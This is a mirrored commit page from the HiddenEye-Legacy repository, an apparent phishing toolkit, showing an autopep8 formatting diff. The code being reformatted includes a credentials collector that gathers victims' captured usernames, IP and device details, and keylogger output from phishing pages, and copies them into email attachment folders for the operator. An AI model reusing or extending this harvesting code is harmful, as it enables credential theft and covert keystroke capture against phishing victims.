mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Restyled by autopep8
This commit is contained in:
parent
ebc2fe2b0d
commit
93edd02c0b
@ -49,10 +49,12 @@ def exit_message(port = 80): # Message when HiddenEye exit
|
||||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(' ' + global_localization.by_darksec)
|
||||
print(' ' + global_localization.official_website_link)
|
||||
print(' ' +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
@ -61,6 +63,7 @@ def exit_message(port = 80): # Message when HiddenEye exit
|
||||
run_command('clear')
|
||||
return exit_message(port)
|
||||
|
||||
|
||||
def terms_of_service_message(): # menu where user select what they wanna use
|
||||
# Terms Of Service
|
||||
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
|
||||
@ -72,12 +75,16 @@ def terms_of_service_message(): # menu where user select what they wanna use
|
||||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
agreement = input(global_localization.input_line)
|
||||
if localization.text_to_confirm_license not in agreement:
|
||||
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["you_are_not_allowed"])
|
||||
exit()
|
||||
else:
|
||||
eula = open('eula.txt', 'w')
|
||||
@ -87,6 +94,7 @@ def terms_of_service_message(): # menu where user select what they wanna use
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def module_loading_message(module): # This one just show text..
|
||||
print(localization.lang_module_loading_message["select_any_mode"])
|
||||
|
||||
@ -98,18 +106,22 @@ def credentials_collector(port):
|
||||
with open('Server/www/usernames.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(
|
||||
default_palette[2], default_palette[3], lines))
|
||||
# run_command("touch Server/CapturedData/usernames.txt
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
pathlib_Path(
|
||||
"Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
|
||||
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
|
||||
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
|
||||
captured_usernames = open(
|
||||
'Server/CapturedData/usernames.txt', 'a')
|
||||
new_usernames = open('Server/www/usernames.txt')
|
||||
captured_usernames.write(new_usernames.read())
|
||||
new_usernames.close()
|
||||
captured_usernames.close()
|
||||
# && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
|
||||
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
||||
copyfile('Server/CapturedData/usernames.txt',
|
||||
'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
||||
|
||||
# && echo -n '' > Server/www/usernames.txt")
|
||||
new_usernames = open('Server/www/usernames.txt', 'w')
|
||||
@ -119,9 +131,11 @@ def credentials_collector(port):
|
||||
with open('Server/www/ip.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(
|
||||
default_palette[2], default_palette[3], lines))
|
||||
# run_command('touch Server/CapturedData/ip.txt
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
pathlib_Path(
|
||||
"Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
|
||||
captured_ips = open('Server/CapturedData/ip.txt', 'a')
|
||||
new_ips = open('Server/www/ip.txt')
|
||||
@ -129,31 +143,35 @@ def credentials_collector(port):
|
||||
new_ips.close()
|
||||
captured_ips.close()
|
||||
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
|
||||
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
||||
copyfile('Server/CapturedData/ip.txt',
|
||||
'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
||||
# && rm -rf Server/www/ip.txt
|
||||
new_ips = open('Server/www/ip.txt', 'w')
|
||||
# && touch Server/www/ip.txt')
|
||||
new_ips.write('')
|
||||
new_ips.close()
|
||||
|
||||
|
||||
creds.close()
|
||||
|
||||
with open('Server/www/KeyloggerData.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(global_localization.line_of_dots)
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(
|
||||
default_palette[2], default_palette[3], lines))
|
||||
# run_command('touch Server/CapturedData/KeyloggerData.txt
|
||||
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
pathlib_Path(
|
||||
'Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
|
||||
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a')
|
||||
captured_keys = open(
|
||||
'Server/CapturedData/KeyloggerData.txt', 'a')
|
||||
new_keys = open('Server/www/KeyloggerData.txt')
|
||||
captured_keys.write(new_keys.read())
|
||||
new_keys.close()
|
||||
captured_keys.close()
|
||||
# && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
|
||||
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
||||
copyfile('Server/CapturedData/KeyloggerData.txt',
|
||||
'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
||||
# && rm -rf Server/www/KeyloggerData.txt
|
||||
new_keys = open('Server/www/KeyloggerData.txt', 'w')
|
||||
# && touch Server/www/KeyloggerData.txt')
|
||||
@ -164,11 +182,14 @@ def credentials_collector(port):
|
||||
|
||||
creds.close()
|
||||
|
||||
|
||||
def log_writer(ctx): # Writing log
|
||||
logFile = open("log.txt", "w")
|
||||
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(
|
||||
default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
print(ctx)
|
||||
|
||||
|
||||
def port_selector(): # Question where user must select port
|
||||
run_command('clear')
|
||||
# print('''
|
||||
@ -194,6 +215,7 @@ def port_selector(): # Question where user must select port
|
||||
except:
|
||||
return port_selector()
|
||||
|
||||
|
||||
def remove_readonly(func, path, _):
|
||||
"Clear the readonly bit"
|
||||
chmod(path, stat.S_IWRITE)
|
||||
@ -220,6 +242,7 @@ def verify_connection(host='https://google.com'): # Connection check
|
||||
print(localization.lang_verify_connection["verify_your_connection"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_permissions():
|
||||
|
||||
if platform_os() != "Windows":
|
||||
@ -232,6 +255,7 @@ def check_permissions():
|
||||
print(localization.lang_check_permissions["windows_warning"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_php():
|
||||
try:
|
||||
try_to_run_command(['php', '-v'])
|
||||
|
Loading…
x
Reference in New Issue
Block a user